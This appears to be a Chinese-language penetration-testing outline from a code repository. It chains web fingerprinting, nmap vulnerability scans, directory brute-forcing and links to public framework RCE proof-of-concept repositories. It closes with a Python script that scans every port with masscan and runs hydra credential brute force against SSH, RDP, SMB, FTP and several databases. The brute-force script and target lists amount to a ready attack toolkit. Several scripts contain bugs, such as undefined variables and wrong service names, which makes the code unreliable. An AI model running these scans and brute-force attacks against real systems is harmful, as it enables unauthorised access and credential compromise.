-
Notifications
You must be signed in to change notification settings - Fork 3
/
大纲.txt
272 lines (236 loc) · 7.19 KB
/
大纲.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
layer扫描
whatweb -i urls.txt | sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g" | tee whatweb_urls.txt
python whatweb_deal.py
#coding=utf-87
f=open("temp.txt")
for i in f.readlines():
i=i.rstrip("\n")
#print(i)
if "" not in i and "" not in i:
print(i)
f.close()
python get_nmap_from_whatweb.py
#coding=utf-8
import re
f=open("temp.txt")
urls=[]
for i in f.readlines():
i=i.rstrip("\n")
#print(i)
urls.append(i)
f.close()
for i in urls:
if "IP" in i:
print re.findall("IP.*?,",i)[0].lstrip("IP[").rstrip("],")
#if "200" in i:
#print i
python nmap_scan.py
参考:https://www.cnblogs.com/weihua2616/p/6599629.html
nmap -sS -F -T4 -v -iL nmap_ips.txt | tee nmap_results.txt -F是只扫描100个端口
nmap -sS -T4 -v --script=vuln -iL nmap_ips.txt | tee nmap_results.txt
nmap -sS -T2 -F -v --script=vuln -iL nmap_ips.txt | tee nmap_results.txt
python dirb__scan_from_whatweb.py
#coding=utf-8
import re
import sys
f=open("urls.txt")
urls=[]
wordlist="/root/dict/web/wordlist1.txt"
for i in f.readlines():
i=i.rstrip("\n")
i=i.split(" ")[0]
i=str(re.findall("http.*cn",i))
i=i.rstrip("']").lstrip("['")
urls.append(str(i))
f.close()
print(len(urls))
with open("urls1.txt","w") as f:
for i in urls:
f.write(i)
f.write("\n")
f.close()
python dirb_scan.py
#coding=utf-8
import os
f=open("urls.txt")
urls=[]
wordlist="/root/dict/web/wordlist1.txt"
if len(sys.argv) > 1:
wordlist=sys.argv[2]
for i in f.readlines():
i=i.rstrip("\n")
urls.append(i)
f.close()
#dirb
command0="rm last.txt"
os.system(command0)
command4="rm temp.txt"
os.system(command4)
for url in urls:
command="dirb "+url+" "+wordlist+" -z 500 -w -o temp.txt"
os.system(command)
command1="cat temp.txt >> last.txt"
os.system(command1)
command2="rm temp.txt"
os.system(command3)
nikto -host dirb_urls.txt
python IIS_Apache_nginx_classify.py
#coding=utf-8
f=open("temp.txt")
urls=[]
for i in f.readlines():
i=i.rstrip("\n")
#print(i)
urls.append(i)
f.close()
print("Linux:")
for i in urls:
if "Apache" in i:
print(i)
print("windows_IIS:")
for i in urls:
if "Apache" not in i:
print(i)
#处理nmap的results结果
python nmap_results_deal.py
python iis_short_scan.py
参考:
https://github.com/irsdl/IIS-ShortName-Scanner.git
https://github.com/lijiejie/IIS_shortname_Scanner
thinkphp框架漏洞检测
python thinkphp.py
参考;https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
#struct框架漏洞检测
python structs.py
git clone https://github.com/Lucifer1993/struts-scan.git
#jboss 是一个基于J2EE的开放源代码的应用服务器
python jboss.py
git clone https://github.com/joaomatosf/jexboss.git
#weblogic中间件poc检测
python Weblogic.py
weblogic
https://github.com/search?q=weblogic+poc
#hydra 爆破端口密码
python hydra_broken_script.py
#!/usr/bin/env python
#coding=utf-8
import os
import sys
if len(sys.argv)!=2:
print "python brute.py ip"
sys.exit()
ip=sys.argv[1]
command="masscan -p0-65535 "+ip+" --rate=10000 | grep open | awk '{print $4}' | tr -d [:alpha:] | tr -d / > ip.txt"
os.system(command)
f=open("ip.txt")
port=[]
for i in f.readlines():
port.append(i.rstrip("\n"))
f.close()
print '''
1. web类(web漏洞/敏感目录)
第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web
2. 数据库类(扫描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
3. 特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
4. 常用端口类(扫描弱口令/端口爆破)
21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由,默认密码zebra
3389 远程桌面
5. 端口合计详情
21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB
512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
2222 DA虚拟主机管理系统登陆 (国外用较多)
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统,默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统 (国外用较多)
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问'''
print '''Ftp:21,ssh:22,Telnet:23,Pop3:110,
3389远程登陆,8080中间件Tomcat,
7001中间件Weblogic,3306 Mysql数据库(phpmyadmin),
1433 SQLServer数据库,5432 Postgresql数据库...'''
#第二部分,爆破的开始
print "爆破开始:"
#远程连接的爆破
if "21" in port: #ftp
command="hydra "+ip+" ftp -L username.txt -P password.txt -vV -t 30 -e ns"
os.system(command)
if "22" in port: #ssh
command="hydra "+ip+" ssh -L username.txt -P password.txt -vV -t 30 -e ns"
os.system(command)
if "23" in port: #telnet
command="hydra "+ip+" telnet -L username.txt -P password.txt -vV -t 30 -e ns"
os.system(command)
if "445" in port:
command="hydra "+ip+" -l administrator -P password.txt smb -e ns"
os.system(command)
if "3389" in port:#rdp
command="hydra "+ip+" rdp -L username.txt -P password.txt -vV -t 30 -e ns"
os.system(command)
#数据库密码的爆破
if "1433" in port: # mssql 密码的爆破
command="hydra "+ip+" mssql -l sa -P password.txt -vV -t 30 -e ns"
os.system(command)
if "1521" in port: #oracle
command="hydra "+ip+" oracle -l system -P password.txt -vV -t 30 -e ns"
os.system(command)
if "3306" in port: #mysql
command="hydra "+mysql+" ftp -l root -P password.txt -vV -t 30 -e ns"
os.system(command)
if "5432" in port: #PostgreSQL
command="hydra "+ip+" PostgreSQL -L username.txt -P password.txt -vV -t 30 -e ns"
os.system(command)
print "爆破完成!"